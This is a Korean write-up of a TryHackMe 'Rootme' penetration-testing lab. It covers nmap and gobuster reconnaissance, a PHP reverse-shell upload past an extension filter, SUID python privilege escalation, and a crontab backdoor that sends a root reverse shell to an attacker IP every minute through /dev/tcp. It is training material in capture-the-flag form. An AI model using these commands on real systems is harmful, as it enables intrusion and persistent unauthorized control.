프로젝트 개요

본 프로젝트는 TryHackMe의 ‘Rootme’ 머신을 대상으로 진행한 모의해킹 실무 프로세스 학습 과정입니다. 웹 취약점을 통한 파일 업로드 공격부터 시스템의 SUID 설정을 이용한 권한 상승까지, 리눅스 기반 시스템 침투의 핵심 기법들을 체계적으로 실습하였습니다.

키워드(keyword)

nmap, gobuster, PHP Reverse Shell, SUID, python

1. 정보 수집 (Information Gathering)

대상 시스템에서 활성화된 서비스와 포트를 식별하기 위해 nmap 스캐닝을 수행했습니다.

  • 수행 내용: 모든 포트 및 서비스 버전 스캔 (-sC, -sV)
  • 결과: 22번(SSH)과 80번(HTTP) 포트가 열려 있으며, Apache 2.4.41 서버가 구동 중임을 확인했습니다.
nmap -sC -sV 10.67.172.186
Nmap Scan Result

2. 서비스 분석 (Service Analysis)

웹 서버의 숨겨진 디렉토리를 찾아내기 위해 gobuster를 활용하여 디렉토리 브루트포싱을 진행했습니다.

  • 수행 내용: 공통 단어장(common.txt)을 이용한 디렉토리 리스팅 
    gobuster dir -u http://10.67.172.186 -w /usr/share/wordlists/dirb/common.txt
  • 결과: /panel/(파일 업로드 페이지)과 /uploads/(업로드된 파일 저장소)라는 핵심 경로를 발견했습니다.
Gobuster Directory Brute Force

3. 침투 수행 (Exploit)

파일 업로드 취약점을 이용하여 대상 서버의 제어권을 획득하는 단계입니다.

  • 리버스 쉘 준비: 칼리 리눅스 내장 PHP 리버스 쉘 스크립트를 수정하여 준비했습니다. 
    cp /usr/share/webshells/php/php-reverse-shell.php .
  • 공격 수행: .php 확장자 필터링을 우회하기 위해 확장자를 .phtml로 변경하여 /panel/을 통해 업로드했습니다.
  • 결과: /uploads/ 경로에서 실행시킨 결과, www-data 권한의 쉘을 획득했습니다.
Prepare Reverse Shell
File Upload Bypass
Shell Gained via Netcat

4. 권한 상승 (Post-Exploit)

획득한 일반 권한을 시스템 최고 권한인 root로 상승시키기 위한 분석을 진행했습니다.

  • SUID 설정 분석: find 명령어를 통해 실행 시 소유자 권한으로 실행되는(SUID) 파일을 검색했습니다. 
    find / -perm -4000 -print 2>/dev/null
  • 취약점 발견: 특이하게 /usr/bin/python에 SUID 비트가 설정되어 있는 것을 식별했습니다.
  • 결과: Python의 os.execl 라이브러리를 이용하여 root 권한의 bash 쉘을 획득하는 데 성공했습니다. 
    python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Searching SUID Files
Privilege Escalation via Python

5. 지속성 유지 및 흔적 분석 (Persistence & Analysis)

공격 효율성을 높이기 위한 백도어 설정과 타 공격자의 흔적을 조사했습니다.

  • 지속성 유지: crontab에 매 분마다 공격자 PC로 리버스 쉘을 전송하는 명령어를 등록하여 접근 권한을 고착화했습니다. 
    echo "* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.216.48/9999 0>&1'" >> /etc/crontab
  • 흔적 발견: 조사 과정 중 /uploads/ 디렉토리에서 다른 사용자가 업로드한 것으로 추정되는 shell.php5 및 이미지 파일들을 발견하여, 해당 서버가 이미 다수의 공격 대상이 되었음을 확인했습니다.
Setting Crontab Backdoor
Persistence Success
Evidence of Other Attackers

마치며

이번 Rootme 실습을 통해 웹 애플리케이션의 파일 확장자 검증 우회 기법과 리눅스 SUID 권한 설정 오류가 시스템 전체 보안에 얼마나 치명적인 영향을 미치는지 체감할 수 있었습니다. 특히 실제 운영 환경과 유사하게 다른 침투 흔적을 발견하면서, 사후 대응 및 보안 패치의 중요성을 다시 한번 상기하게 되었습니다. 고객사에게 보고서를 전달하는 상황을 가정하여 침투 결과 보고서를 작성해봤습니다.

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